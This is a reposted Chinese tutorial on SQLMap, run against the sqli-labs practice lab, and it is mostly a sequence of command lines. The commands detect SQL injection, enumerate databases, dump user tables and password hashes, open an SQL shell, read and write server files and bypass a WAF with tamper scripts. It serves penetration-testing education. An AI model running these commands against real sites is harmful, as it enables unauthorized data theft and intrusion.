SQLMap-02

时间:2020-08-17 22:30:50   收藏:0   阅读:86

0x01SQLMap入门

1、判断是否有注入
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1"

存在注入
技术分享图片

当注入后面的参数大于2个时,需要添加双引号

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1&name=tom"
2、判断文本中的http请求是否存在注入点
sqlmap -r /root/1.txt
3、查询当前用户下的所有数据库
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --dbs

技术分享图片

4、获取数据库中的表名
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" -D security --tables

技术分享图片

5、获取字段名
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" -D security -T users  --columns

技术分享图片

6、获取数据
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" -D security -T users  -C username,password --dump

技术分享图片

7、获取所有用户
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --users

技术分享图片

8、获取用户密码
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --passwords

技术分享图片

9、获取当前网站数据库名
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --current-db

技术分享图片

10、获取当前网站数据库的用户名称
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --current-user

技术分享图片

0x02 参数

1、--is-dba 当前用户是否为管理员权限
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --is-dba

技术分享图片

2、--roles 列出数据库管理员角色
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --roles

技术分享图片

3、--referer 伪造http的referer(level3及以上)
4、--sql-shell 运行自定义的sql语句
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --sql-shell

技术分享图片
技术分享图片
技术分享图片

5、--file-read 从数据库服务器重读取文件
6、--file-write --file-dest 上传文件到数据库服务器中

0x03 sqlmap自带绕过脚本tamper

可以使用--tamper参数绕过waf

原文:https://www.cnblogs.com/observering/p/13519848.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!